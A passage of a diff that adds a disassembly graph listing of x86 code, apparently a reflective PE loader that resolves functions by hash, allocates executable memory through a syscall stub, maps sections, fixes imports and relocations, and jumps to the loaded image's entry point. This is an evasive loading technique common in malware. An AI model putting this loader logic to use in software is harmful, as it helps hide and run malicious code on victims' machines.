+ 0x1132
+ instructions
+
+ 0x1132
+ instruction
+ 8b45d0
+ mov eax, dword ptr [ebp - 0x30]
+
+
+ 0x1135
+ instruction
+ 8b7010
+ mov esi, dword ptr [eax + 0x10]
+
+
+ 0x1138
+ instruction
+ 8975e8
+ mov dword ptr [ebp - 0x18], esi
+
+
+ 0x113b
+ instruction
+ e8de020000
+ call 0x141e
+
+
+
+
+
+
+
+
+ 0x1140
+ instructions-graph
+
+ 0x1140
+ instructions
+
+ 0x1140
+ instruction
+ c745bc03000000
+ mov dword ptr [ebp - 0x44], 3
+
+
+
+
+ 0x1147
+ instructions-graph
+
+ 0x1147
+ instructions
+
+ 0x1147
+ instruction
+ 8b45c8
+ mov eax, dword ptr [ebp - 0x38]
+
+
+ 0x114a
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x114c
+ instruction
+ 7473
+ je 0x11c1
+
+
+
+
+
+
+ 0x114e
+ instructions-graph
+
+ 0x114e
+ instructions
+
+ 0x114e
+ instruction
+ 48
+ dec eax
+
+
+ 0x114f
+ instruction
+ 8945c8
+ mov dword ptr [ebp - 0x38], eax
+
+
+ 0x1152
+ instruction
+ 8b4ddc
+ mov ecx, dword ptr [ebp - 0x24]
+
+
+ 0x1155
+ instruction
+ 8b09
+ mov ecx, dword ptr [ecx]
+
+
+ 0x1157
+ instruction
+ 034de8
+ add ecx, dword ptr [ebp - 0x18]
+
+
+ 0x115a
+ instruction
+ e8e6020000
+ call 0x1445
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x115f
+ instructions-graph
+
+ 0x115f
+ instructions
+
+ 0x115f
+ instruction
+ 8945b8
+ mov dword ptr [ebp - 0x48], eax
+
+
+ 0x1162
+ instruction
+ 3db80a4c53
+ cmp eax, 0x534c0ab8
+
+
+ 0x1167
+ instruction
+ 7410
+ je 0x1179
+
+
+
+
+
+
+ 0x1169
+ instructions-graph
+
+ 0x1169
+ instructions
+
+ 0x1169
+ instruction
+ 3ded4a3dd3
+ cmp eax, 0xd33d4aed
+
+
+ 0x116e
+ instruction
+ 7409
+ je 0x1179
+
+
+
+
+
+ 0x1170
+ instructions-graph
+
+ 0x1170
+ instructions
+
+ 0x1170
+ instruction
+ 3d894d3fbc
+ cmp eax, 0xbc3f4d89
+
+
+ 0x1175
+ instruction
+ 7402
+ je 0x1179
+
+
+
+
+
+ 0x1177
+ instructions-graph
+
+ 0x1177
+ instructions
+
+ 0x1177
+ instruction
+ eb3e
+ jmp 0x11b7
+
+
+
+
+ 0x1179
+ instructions-graph
+
+ 0x1179
+ instructions
+
+ 0x1179
+ instruction
+ 8b55e0
+ mov edx, dword ptr [ebp - 0x20]
+
+
+ 0x117c
+ instruction
+ 8b521c
+ mov edx, dword ptr [edx + 0x1c]
+
+
+ 0x117f
+ instruction
+ 0355e8
+ add edx, dword ptr [ebp - 0x18]
+
+
+ 0x1182
+ instruction
+ 8b4dd8
+ mov ecx, dword ptr [ebp - 0x28]
+
+
+ 0x1185
+ instruction
+ 0fb709
+ movzx ecx, word ptr [ecx]
+
+
+ 0x1188
+ instruction
+ 8b148a
+ mov edx, dword ptr [edx + ecx*4]
+
+
+ 0x118b
+ instruction
+ 0355e8
+ add edx, dword ptr [ebp - 0x18]
+
+
+ 0x118e
+ instruction
+ 8b45b8
+ mov eax, dword ptr [ebp - 0x48]
+
+
+ 0x1191
+ instruction
+ 3db80a4c53
+ cmp eax, 0x534c0ab8
+
+
+ 0x1196
+ instruction
+ 7505
+ jne 0x119d
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1198
+ instructions-graph
+
+ 0x1198
+ instructions
+
+ 0x1198
+ instruction
+ 8955f0
+ mov dword ptr [ebp - 0x10], edx
+
+
+ 0x119b
+ instruction
+ eb0f
+ jmp 0x11ac
+
+
+
+
+
+ 0x119d
+ instructions-graph
+
+ 0x119d
+ instructions
+
+ 0x119d
+ instruction
+ 3ded4a3dd3
+ cmp eax, 0xd33d4aed
+
+
+ 0x11a2
+ instruction
+ 7505
+ jne 0x11a9
+
+
+
+
+
+ 0x11a4
+ instructions-graph
+
+ 0x11a4
+ instructions
+
+ 0x11a4
+ instruction
+ 8955f4
+ mov dword ptr [ebp - 0xc], edx
+
+
+ 0x11a7
+ instruction
+ eb03
+ jmp 0x11ac
+
+
+
+
+
+ 0x11a9
+ instructions-graph
+
+ 0x11a9
+ instructions
+
+ 0x11a9
+ instruction
+ 8955b4
+ mov dword ptr [ebp - 0x4c], edx
+
+
+
+
+ 0x11ac
+ instructions-graph
+
+ 0x11ac
+ instructions
+
+ 0x11ac
+ instruction
+ 8b45bc
+ mov eax, dword ptr [ebp - 0x44]
+
+
+ 0x11af
+ instruction
+ 48
+ dec eax
+
+
+ 0x11b0
+ instruction
+ 8945bc
+ mov dword ptr [ebp - 0x44], eax
+
+
+ 0x11b3
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x11b5
+ instruction
+ 740a
+ je 0x11c1
+
+
+
+
+
+
+
+
+
+
+ 0x11b7
+ instructions-graph
+
+ 0x11b7
+ instructions
+
+ 0x11b7
+ instruction
+ 8345dc04
+ add dword ptr [ebp - 0x24], 4
+
+
+ 0x11bb
+ instruction
+ 8345d802
+ add dword ptr [ebp - 0x28], 2
+
+
+ 0x11bf
+ instruction
+ eb86
+ jmp 0x1147
+
+
+
+
+
+
+ 0x11c1
+ instructions-graph
+
+ 0x11c1
+ instructions
+
+ 0x11c1
+ instruction
+ 837dfc00
+ cmp dword ptr [ebp - 4], 0
+
+
+ 0x11c5
+ instruction
+ 7418
+ je 0x11df
+
+
+
+
+
+ 0x11c7
+ instructions-graph
+
+ 0x11c7
+ instructions
+
+ 0x11c7
+ instruction
+ 837df800
+ cmp dword ptr [ebp - 8], 0
+
+
+ 0x11cb
+ instruction
+ 7412
+ je 0x11df
+
+
+
+
+
+ 0x11cd
+ instructions-graph
+
+ 0x11cd
+ instructions
+
+ 0x11cd
+ instruction
+ 837df400
+ cmp dword ptr [ebp - 0xc], 0
+
+
+ 0x11d1
+ instruction
+ 740c
+ je 0x11df
+
+
+
+
+
+ 0x11d3
+ instructions-graph
+
+ 0x11d3
+ instructions
+
+ 0x11d3
+ instruction
+ 837db400
+ cmp dword ptr [ebp - 0x4c], 0
+
+
+ 0x11d7
+ instruction
+ 7406
+ je 0x11df
+
+
+
+
+
+ 0x11d9
+ instructions-graph
+
+ 0x11d9
+ instructions
+
+ 0x11d9
+ instruction
+ 837df000
+ cmp dword ptr [ebp - 0x10], 0
+
+
+ 0x11dd
+ instruction
+ 750a
+ jne 0x11e9
+
+
+
+
+
+ 0x11df
+ instructions-graph
+
+ 0x11df
+ instructions
+
+ 0x11df
+ instruction
+ 8b45d0
+ mov eax, dword ptr [ebp - 0x30]
+
+
+ 0x11e2
+ instruction
+ 8b00
+ mov eax, dword ptr [eax]
+
+
+ 0x11e4
+ instruction
+ e979feffff
+ jmp 0x1062
+
+
+
+
+
+
+ 0x11e9
+ instructions-graph
+
+ 0x11e9
+ instructions
+
+ 0x11e9
+ instruction
+ 8b4dec
+ mov ecx, dword ptr [ebp - 0x14]
+
+
+ 0x11ec
+ instruction
+ 8b413c
+ mov eax, dword ptr [ecx + 0x3c]
+
+
+ 0x11ef
+ instruction
+ 01c8
+ add eax, ecx
+
+
+ 0x11f1
+ instruction
+ 8945e4
+ mov dword ptr [ebp - 0x1c], eax
+
+
+ 0x11f4
+ instruction
+ 83ec08
+ sub esp, 8
+
+
+ 0x11f7
+ instruction
+ c7042400000000
+ mov dword ptr [esp], 0
+
+
+ 0x11fe
+ instruction
+ 8b55e4
+ mov edx, dword ptr [ebp - 0x1c]
+
+
+ 0x1201
+ instruction
+ 8b5250
+ mov edx, dword ptr [edx + 0x50]
+
+
+ 0x1204
+ instruction
+ 89542404
+ mov dword ptr [esp + 4], edx
+
+
+ 0x1208
+ instruction
+ 6a40
+ push 0x40
+
+
+ 0x120a
+ instruction
+ 6800300000
+ push 0x3000
+
+
+ 0x120f
+ instruction
+ 8d44240c
+ lea eax, [esp + 0xc]
+
+
+ 0x1213
+ instruction
+ 50
+ push eax
+
+
+ 0x1214
+ instruction
+ 6a00
+ push 0
+
+
+ 0x1216
+ instruction
+ 8d442410
+ lea eax, [esp + 0x10]
+
+
+ 0x121a
+ instruction
+ 50
+ push eax
+
+
+ 0x121b
+ instruction
+ 6aff
+ push -1
+
+
+ 0x121d
+ instruction
+ 8b55f4
+ mov edx, dword ptr [ebp - 0xc]
+
+
+ 0x1220
+ instruction
+ e8f1010000
+ call 0x1416
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1225
+ instructions-graph
+
+ 0x1225
+ instructions
+
+ 0x1225
+ instruction
+ 8b0424
+ mov eax, dword ptr [esp]
+
+
+ 0x1228
+ instruction
+ 83c408
+ add esp, 8
+
+
+ 0x122b
+ instruction
+ 8945e8
+ mov dword ptr [ebp - 0x18], eax
+
+
+ 0x122e
+ instruction
+ 8b55e4
+ mov edx, dword ptr [ebp - 0x1c]
+
+
+ 0x1231
+ instruction
+ 8b4a54
+ mov ecx, dword ptr [edx + 0x54]
+
+
+ 0x1234
+ instruction
+ 8b75ec
+ mov esi, dword ptr [ebp - 0x14]
+
+
+ 0x1237
+ instruction
+ 8b7de8
+ mov edi, dword ptr [ebp - 0x18]
+
+
+
+
+
+
+
+
+
+ 0x123a
+ instructions-graph
+
+ 0x123a
+ instructions
+
+ 0x123a
+ instruction
+ f3a4
+ rep movsb byte ptr es:[edi], byte ptr [esi]
+
+
+
+
+ 0x123c
+ instructions-graph
+
+ 0x123c
+ instructions
+
+ 0x123c
+ instruction
+ 8b55e4
+ mov edx, dword ptr [ebp - 0x1c]
+
+
+ 0x123f
+ instruction
+ 0fb74214
+ movzx eax, word ptr [edx + 0x14]
+
+
+ 0x1243
+ instruction
+ 8d5c0218
+ lea ebx, [edx + eax + 0x18]
+
+
+ 0x1247
+ instruction
+ 0fb74206
+ movzx eax, word ptr [edx + 6]
+
+
+ 0x124b
+ instruction
+ 8945cc
+ mov dword ptr [ebp - 0x34], eax
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x124e
+ instructions-graph
+
+ 0x124e
+ instructions
+
+ 0x124e
+ instruction
+ 837dcc00
+ cmp dword ptr [ebp - 0x34], 0
+
+
+ 0x1252
+ instruction
+ 741d
+ je 0x1271
+
+
+
+
+
+ 0x1254
+ instructions-graph
+
+ 0x1254
+ instructions
+
+ 0x1254
+ instruction
+ 8b430c
+ mov eax, dword ptr [ebx + 0xc]
+
+
+ 0x1257
+ instruction
+ 8b7de8
+ mov edi, dword ptr [ebp - 0x18]
+
+
+ 0x125a
+ instruction
+ 01c7
+ add edi, eax
+
+
+ 0x125c
+ instruction
+ 8b4314
+ mov eax, dword ptr [ebx + 0x14]
+
+
+ 0x125f
+ instruction
+ 8b75ec
+ mov esi, dword ptr [ebp - 0x14]
+
+
+ 0x1262
+ instruction
+ 01c6
+ add esi, eax
+
+
+ 0x1264
+ instruction
+ 8b4b10
+ mov ecx, dword ptr [ebx + 0x10]
+
+
+
+
+
+
+
+
+
+
+
+ 0x1267
+ instructions-graph
+
+ 0x1267
+ instructions
+
+ 0x1267
+ instruction
+ f3a4
+ rep movsb byte ptr es:[edi], byte ptr [esi]
+
+
+
+
+ 0x1269
+ instructions-graph
+
+ 0x1269
+ instructions
+
+ 0x1269
+ instruction
+ 83c328
+ add ebx, 0x28
+
+
+ 0x126c
+ instruction
+ ff4dcc
+ dec dword ptr [ebp - 0x34]
+
+
+ 0x126f
+ instruction
+ ebdd
+ jmp 0x124e
+
+
+
+
+
+
+ 0x1271
+ instructions-graph
+
+ 0x1271
+ instructions
+
+ 0x1271
+ instruction
+ 8b55e4
+ mov edx, dword ptr [ebp - 0x1c]
+
+
+ 0x1274
+ instruction
+ 8b8280000000
+ mov eax, dword ptr [edx + 0x80]
+
+
+ 0x127a
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x127c
+ instruction
+ 746d
+ je 0x12eb
+
+
+
+
+
+
+
+ 0x127e
+ instructions-graph
+
+ 0x127e
+ instructions
+
+ 0x127e
+ instruction
+ 0345e8
+ add eax, dword ptr [ebp - 0x18]
+
+
+ 0x1281
+ instruction
+ 8945c4
+ mov dword ptr [ebp - 0x3c], eax
+
+
+
+
+
+ 0x1284
+ instructions-graph
+
+ 0x1284
+ instructions
+
+ 0x1284
+ instruction
+ 8b55c4
+ mov edx, dword ptr [ebp - 0x3c]
+
+
+ 0x1287
+ instruction
+ 8b420c
+ mov eax, dword ptr [edx + 0xc]
+
+
+ 0x128a
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x128c
+ instruction
+ 745d
+ je 0x12eb
+
+
+
+
+
+
+
+ 0x128e
+ instructions-graph
+
+ 0x128e
+ instructions
+
+ 0x128e
+ instruction
+ 0345e8
+ add eax, dword ptr [ebp - 0x18]
+
+
+ 0x1291
+ instruction
+ 50
+ push eax
+
+
+ 0x1292
+ instruction
+ ff55fc
+ call dword ptr [ebp - 4]
+
+
+
+
+
+
+ 0x1295
+ instructions-graph
+
+ 0x1295
+ instructions
+
+ 0x1295
+ instruction
+ 8945c0
+ mov dword ptr [ebp - 0x40], eax
+
+
+ 0x1298
+ instruction
+ 8b55c4
+ mov edx, dword ptr [ebp - 0x3c]
+
+
+ 0x129b
+ instruction
+ 8b02
+ mov eax, dword ptr [edx]
+
+
+ 0x129d
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x129f
+ instruction
+ 7503
+ jne 0x12a4
+
+
+
+
+
+
+
+
+ 0x12a1
+ instructions-graph
+
+ 0x12a1
+ instructions
+
+ 0x12a1
+ instruction
+ 8b4210
+ mov eax, dword ptr [edx + 0x10]
+
+
+
+
+ 0x12a4
+ instructions-graph
+
+ 0x12a4
+ instructions
+
+ 0x12a4
+ instruction
+ 0345e8
+ add eax, dword ptr [ebp - 0x18]
+
+
+ 0x12a7
+ instruction
+ 89c6
+ mov esi, eax
+
+
+ 0x12a9
+ instruction
+ 8b4210
+ mov eax, dword ptr [edx + 0x10]
+
+
+ 0x12ac
+ instruction
+ 0345e8
+ add eax, dword ptr [ebp - 0x18]
+
+
+ 0x12af
+ instruction
+ 89c7
+ mov edi, eax
+
+
+
+
+
+
+
+
+
+
+ 0x12b1
+ instructions-graph
+
+ 0x12b1
+ instructions
+
+ 0x12b1
+ instruction
+ 8b06
+ mov eax, dword ptr [esi]
+
+
+ 0x12b3
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x12b5
+ instruction
+ 742e
+ je 0x12e5
+
+
+
+
+
+
+ 0x12b7
+ instructions-graph
+
+ 0x12b7
+ instructions
+
+ 0x12b7
+ instruction
+ a900000080
+ test eax, 0x80000000
+
+
+ 0x12bc
+ instruction
+ 7511
+ jne 0x12cf
+
+
+
+
+
+ 0x12be
+ instructions-graph
+
+ 0x12be
+ instructions
+
+ 0x12be
+ instruction
+ 0345e8
+ add eax, dword ptr [ebp - 0x18]
+
+
+ 0x12c1
+ instruction
+ 83c002
+ add eax, 2
+
+
+ 0x12c4
+ instruction
+ 50
+ push eax
+
+
+ 0x12c5
+ instruction
+ ff75c0
+ push dword ptr [ebp - 0x40]
+
+
+ 0x12c8
+ instruction
+ ff55f8
+ call dword ptr [ebp - 8]
+
+
+
+
+
+
+
+
+
+ 0x12cb
+ instructions-graph
+
+ 0x12cb
+ instructions
+
+ 0x12cb
+ instruction
+ 8907
+ mov dword ptr [edi], eax
+
+
+ 0x12cd
+ instruction
+ eb0e
+ jmp 0x12dd
+
+
+
+
+
+ 0x12cf
+ instructions-graph
+
+ 0x12cf
+ instructions
+
+ 0x12cf
+ instruction
+ 25ffff0000
+ and eax, 0xffff
+
+
+ 0x12d4
+ instruction
+ 50
+ push eax
+
+
+ 0x12d5
+ instruction
+ ff75c0
+ push dword ptr [ebp - 0x40]
+
+
+ 0x12d8
+ instruction
+ ff55f8
+ call dword ptr [ebp - 8]
+
+
+
+
+
+
+
+ 0x12db
+ instructions-graph
+
+ 0x12db
+ instructions
+
+ 0x12db
+ instruction
+ 8907
+ mov dword ptr [edi], eax
+
+
+
+
+ 0x12dd
+ instructions-graph
+
+ 0x12dd
+ instructions
+
+ 0x12dd
+ instruction
+ 83c604
+ add esi, 4
+
+
+ 0x12e0
+ instruction
+ 83c704
+ add edi, 4
+
+
+ 0x12e3
+ instruction
+ ebcc
+ jmp 0x12b1
+
+
+
+
+
+
+ 0x12e5
+ instructions-graph
+
+ 0x12e5
+ instructions
+
+ 0x12e5
+ instruction
+ 8345c414
+ add dword ptr [ebp - 0x3c], 0x14
+
+
+ 0x12e9
+ instruction
+ eb99
+ jmp 0x1284
+
+
+
+
+
+ 0x12eb
+ instructions-graph
+
+ 0x12eb
+ instructions
+
+ 0x12eb
+ instruction
+ 8b55e4
+ mov edx, dword ptr [ebp - 0x1c]
+
+
+ 0x12ee
+ instruction
+ 8b45e8
+ mov eax, dword ptr [ebp - 0x18]
+
+
+ 0x12f1
+ instruction
+ 2b4234
+ sub eax, dword ptr [edx + 0x34]
+
+
+ 0x12f4
+ instruction
+ 8945ec
+ mov dword ptr [ebp - 0x14], eax
+
+
+ 0x12f7
+ instruction
+ 8b82a0000000
+ mov eax, dword ptr [edx + 0xa0]
+
+
+ 0x12fd
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x12ff
+ instruction
+ 7464
+ je 0x1365
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1301
+ instructions-graph
+
+ 0x1301
+ instructions
+
+ 0x1301
+ instruction
+ 8b8aa4000000
+ mov ecx, dword ptr [edx + 0xa4]
+
+
+ 0x1307
+ instruction
+ 85c9
+ test ecx, ecx
+
+
+ 0x1309
+ instruction
+ 745a
+ je 0x1365
+
+
+
+
+
+
+ 0x130b
+ instructions-graph
+
+ 0x130b
+ instructions
+
+ 0x130b
+ instruction
+ 0345e8
+ add eax, dword ptr [ebp - 0x18]
+
+
+ 0x130e
+ instruction
+ 8945c4
+ mov dword ptr [ebp - 0x3c], eax
+
+
+
+
+
+ 0x1311
+ instructions-graph
+
+ 0x1311
+ instructions
+
+ 0x1311
+ instruction
+ 8b55c4
+ mov edx, dword ptr [ebp - 0x3c]
+
+
+ 0x1314
+ instruction
+ 8b4204
+ mov eax, dword ptr [edx + 4]
+
+
+ 0x1317
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x1319
+ instruction
+ 744a
+ je 0x1365
+
+
+
+
+
+
+
+ 0x131b
+ instructions-graph
+
+ 0x131b
+ instructions
+
+ 0x131b
+ instruction
+ 83e808
+ sub eax, 8
+
+
+ 0x131e
+ instruction
+ d1e8
+ shr eax, 1
+
+
+ 0x1320
+ instruction
+ 8945cc
+ mov dword ptr [ebp - 0x34], eax
+
+
+ 0x1323
+ instruction
+ 8b02
+ mov eax, dword ptr [edx]
+
+
+ 0x1325
+ instruction
+ 0345e8
+ add eax, dword ptr [ebp - 0x18]
+
+
+ 0x1328
+ instruction
+ 8945c0
+ mov dword ptr [ebp - 0x40], eax
+
+
+ 0x132b
+ instruction
+ 8d5a08
+ lea ebx, [edx + 8]
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x132e
+ instructions-graph
+
+ 0x132e
+ instructions
+
+ 0x132e
+ instruction
+ 837dcc00
+ cmp dword ptr [ebp - 0x34], 0
+
+
+ 0x1332
+ instruction
+ 7424
+ je 0x1358
+
+
+
+
+
+ 0x1334
+ instructions-graph
+
+ 0x1334
+ instructions
+
+ 0x1334
+ instruction
+ 0fb703
+ movzx eax, word ptr [ebx]
+
+
+ 0x1337
+ instruction
+ 89c1
+ mov ecx, eax
+
+
+ 0x1339
+ instruction
+ c1e90c
+ shr ecx, 0xc
+
+
+ 0x133c
+ instruction
+ 25ff0f0000
+ and eax, 0xfff
+
+
+ 0x1341
+ instruction
+ 83f903
+ cmp ecx, 3
+
+
+ 0x1344
+ instruction
+ 750a
+ jne 0x1350
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1346
+ instructions-graph
+
+ 0x1346
+ instructions
+
+ 0x1346
+ instruction
+ 8b55c0
+ mov edx, dword ptr [ebp - 0x40]
+
+
+ 0x1349
+ instruction
+ 01c2
+ add edx, eax
+
+
+ 0x134b
+ instruction
+ 8b4dec
+ mov ecx, dword ptr [ebp - 0x14]
+
+
+ 0x134e
+ instruction
+ 010a
+ add dword ptr [edx], ecx
+
+
+
+
+
+
+
+
+ 0x1350
+ instructions-graph
+
+ 0x1350
+ instructions
+
+ 0x1350
+ instruction
+ 83c302
+ add ebx, 2
+
+
+ 0x1353
+ instruction
+ ff4dcc
+ dec dword ptr [ebp - 0x34]
+
+
+ 0x1356
+ instruction
+ ebd6
+ jmp 0x132e
+
+
+
+
+
+
+ 0x1358
+ instructions-graph
+
+ 0x1358
+ instructions
+
+ 0x1358
+ instruction
+ 8b55c4
+ mov edx, dword ptr [ebp - 0x3c]
+
+
+ 0x135b
+ instruction
+ 8b4204
+ mov eax, dword ptr [edx + 4]
+
+
+ 0x135e
+ instruction
+ 01c2
+ add edx, eax
+
+
+ 0x1360
+ instruction
+ 8955c4
+ mov dword ptr [ebp - 0x3c], edx
+
+
+ 0x1363
+ instruction
+ ebac
+ jmp 0x1311
+
+
+
+
+
+
+
+
+
+
+
+ 0x1365
+ instructions-graph
+
+ 0x1365
+ instructions
+
+ 0x1365
+ instruction
+ 8b4de8
+ mov ecx, dword ptr [ebp - 0x18]
+
+
+ 0x1368
+ instruction
+ 8b413c
+ mov eax, dword ptr [ecx + 0x3c]
+
+
+ 0x136b
+ instruction
+ 01c8
+ add eax, ecx
+
+
+ 0x136d
+ instruction
+ 8945e4
+ mov dword ptr [ebp - 0x1c], eax
+
+
+ 0x1370
+ instruction
+ 0fb74814
+ movzx ecx, word ptr [eax + 0x14]
+
+
+ 0x1374
+ instruction
+ 8d4c0818
+ lea ecx, [eax + ecx + 0x18]
+
+
+ 0x1378
+ instruction
+ 894dc4
+ mov dword ptr [ebp - 0x3c], ecx
+
+
+ 0x137b
+ instruction
+ 0fb74006
+ movzx eax, word ptr [eax + 6]
+
+
+ 0x137f
+ instruction
+ 8945cc
+ mov dword ptr [ebp - 0x34], eax
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1382
+ instructions-graph
+
+ 0x1382
+ instructions
+
+ 0x1382
+ instruction
+ 837dcc00
+ cmp dword ptr [ebp - 0x34], 0
+
+
+ 0x1386
+ instruction
+ 7460
+ je 0x13e8
+
+
+
+
+
+ 0x1388
+ instructions-graph
+
+ 0x1388
+ instructions
+
+ 0x1388
+ instruction
+ 8b5dc4
+ mov ebx, dword ptr [ebp - 0x3c]
+
+
+ 0x138b
+ instruction
+ 8b4308
+ mov eax, dword ptr [ebx + 8]
+
+
+ 0x138e
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x1390
+ instruction
+ 744d
+ je 0x13df
+
+
+
+
+
+
+
+ 0x1392
+ instructions-graph
+
+ 0x1392
+ instructions
+
+ 0x1392
+ instruction
+ 8b4324
+ mov eax, dword ptr [ebx + 0x24]
+
+
+ 0x1395
+ instruction
+ c1e81d
+ shr eax, 0x1d
+
+
+ 0x1398
+ instruction
+ 83e007
+ and eax, 7
+
+
+ 0x139b
+ instruction
+ e9ba000000
+ jmp 0x145a
+
+
+
+
+
+
+
+ 0x13a0
+ instructions-graph
+
+ 0x13a0
+ instructions
+
+ 0x13a0
+ instruction
+ 59
+ pop ecx
+
+
+ 0x13a1
+ instruction
+ 0fb63401
+ movzx esi, byte ptr [ecx + eax]
+
+
+ 0x13a5
+ instruction
+ eb00
+ jmp 0x13a7
+
+
+
+
+
+ 0x13a7
+ instructions-graph
+
+ 0x13a7
+ instructions
+
+ 0x13a7
+ instruction
+ 83ec0c
+ sub esp, 0xc
+
+
+ 0x13aa
+ instruction
+ 8b430c
+ mov eax, dword ptr [ebx + 0xc]
+
+
+ 0x13ad
+ instruction
+ 0345e8
+ add eax, dword ptr [ebp - 0x18]
+
+
+ 0x13b0
+ instruction
+ 890424
+ mov dword ptr [esp], eax
+
+
+ 0x13b3
+ instruction
+ 8b4308
+ mov eax, dword ptr [ebx + 8]
+
+
+ 0x13b6
+ instruction
+ 89442404
+ mov dword ptr [esp + 4], eax
+
+
+ 0x13ba
+ instruction
+ c744240800000000
+ mov dword ptr [esp + 8], 0
+
+
+ 0x13c2
+ instruction
+ 8d442408
+ lea eax, [esp + 8]
+
+
+ 0x13c6
+ instruction
+ 50
+ push eax
+
+
+ 0x13c7
+ instruction
+ 56
+ push esi
+
+
+ 0x13c8
+ instruction
+ 8d44240c
+ lea eax, [esp + 0xc]
+
+
+ 0x13cc
+ instruction
+ 50
+ push eax
+
+
+ 0x13cd
+ instruction
+ 8d44240c
+ lea eax, [esp + 0xc]
+
+
+ 0x13d1
+ instruction
+ 50
+ push eax
+
+
+ 0x13d2
+ instruction
+ 6aff
+ push -1
+
+
+ 0x13d4
+ instruction
+ 8b55b4
+ mov edx, dword ptr [ebp - 0x4c]
+
+
+ 0x13d7
+ instruction
+ e83a000000
+ call 0x1416
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x13dc
+ instructions-graph
+
+ 0x13dc
+ instructions
+
+ 0x13dc
+ instruction
+ 83c40c
+ add esp, 0xc
+
+
+
+
+ 0x13df
+ instructions-graph
+
+ 0x13df
+ instructions
+
+ 0x13df
+ instruction
+ 8345c428
+ add dword ptr [ebp - 0x3c], 0x28
+
+
+ 0x13e3
+ instruction
+ ff4dcc
+ dec dword ptr [ebp - 0x34]
+
+
+ 0x13e6
+ instruction
+ eb9a
+ jmp 0x1382
+
+
+
+
+
+
+ 0x13e8
+ instructions-graph
+
+ 0x13e8
+ instructions
+
+ 0x13e8
+ instruction
+ 8b4de8
+ mov ecx, dword ptr [ebp - 0x18]
+
+
+ 0x13eb
+ instruction
+ 8b413c
+ mov eax, dword ptr [ecx + 0x3c]
+
+
+ 0x13ee
+ instruction
+ 01c8
+ add eax, ecx
+
+
+ 0x13f0
+ instruction
+ 8b4028
+ mov eax, dword ptr [eax + 0x28]
+
+
+ 0x13f3
+ instruction
+ 0345e8
+ add eax, dword ptr [ebp - 0x18]
+
+
+ 0x13f6
+ instruction
+ 8945c4
+ mov dword ptr [ebp - 0x3c], eax
+
+
+ 0x13f9
+ instruction
+ 6a00
+ push 0
+
+
+ 0x13fb
+ instruction
+ 6a00
+ push 0
+
+
+ 0x13fd
+ instruction
+ 6aff
+ push -1
+
+
+ 0x13ff
+ instruction
+ ff55f0
+ call dword ptr [ebp - 0x10]
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1402
+ instructions-graph
+
+ 0x1402
+ instructions
+
+ 0x1402
+ instruction
+ 6a00
+ push 0
+
+
+ 0x1404
+ instruction
+ 6a01
+ push 1
+
+
+ 0x1406
+ instruction
+ ff75e8
+ push dword ptr [ebp - 0x18]
+
+
+ 0x1409
+ instruction
+ ff55c4
+ call dword ptr [ebp - 0x3c]
+
+
+
+
+
+
+
+ 0x140c
+ instructions-graph
+
+ 0x140c
+ instructions
+
+ 0x140c
+ instruction
+ 8b45c4
+ mov eax, dword ptr [ebp - 0x3c]
+
+
+ 0x140f
+ instruction
+ 5f
+ pop edi
+
+
+ 0x1410
+ instruction
+ 5e
+ pop esi
+
+
+ 0x1411
+ instruction
+ 5b
+ pop ebx
+
+
+ 0x1412
+ instruction
+ 89ec
+ mov esp, ebp
+
+
+ 0x1414
+ instruction
+ 5d
+ pop ebp
+
+
+ 0x1415
+ instruction
+ c3
+ ret
+
+
+
+
+
+
+
+
+
+
+ 0x1416
+ instructions-graph
+
+ 0x1416
+ instructions
+
+ 0x1416
+ instruction
+ 8b4201
+ mov eax, dword ptr [edx + 1]
+
+
+ 0x1419
+ instruction
+ 8d5205
+ lea edx, [edx + 5]
+
+
+ 0x141c
+ instruction
+ ffe2
+ jmp edx
+
+
+
+
+
+
+ 0x141e
+ instructions-graph
+
+ 0x141e
+ instructions
+
+ 0x141e
+ instruction
+ 8b55e8
+ mov edx, dword ptr [ebp - 0x18]
+
+
+ 0x1421
+ instruction
+ 8b423c
+ mov eax, dword ptr [edx + 0x3c]
+
+
+ 0x1424
+ instruction
+ 01d0
+ add eax, edx
+
+
+ 0x1426
+ instruction
+ 8b4078
+ mov eax, dword ptr [eax + 0x78]
+
+
+ 0x1429
+ instruction
+ 01d0
+ add eax, edx
+
+
+ 0x142b
+ instruction
+ 8945e0
+ mov dword ptr [ebp - 0x20], eax
+
+
+ 0x142e
+ instruction
+ 8b4818
+ mov ecx, dword ptr [eax + 0x18]
+
+
+ 0x1431
+ instruction
+ 894dc8
+ mov dword ptr [ebp - 0x38], ecx
+
+
+ 0x1434
+ instruction
+ 8b4820
+ mov ecx, dword ptr [eax + 0x20]
+
+
+ 0x1437
+ instruction
+ 01d1
+ add ecx, edx
+
+
+ 0x1439
+ instruction
+ 894ddc
+ mov dword ptr [ebp - 0x24], ecx
+
+
+ 0x143c
+ instruction
+ 8b4824
+ mov ecx, dword ptr [eax + 0x24]
+
+
+ 0x143f
+ instruction
+ 01d1
+ add ecx, edx
+
+
+ 0x1441
+ instruction
+ 894dd8
+ mov dword ptr [ebp - 0x28], ecx
+
+
+ 0x1444
+ instruction
+ c3
+ ret
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1445
+ instructions-graph
+
+ 0x1445
+ instructions
+
+ 0x1445
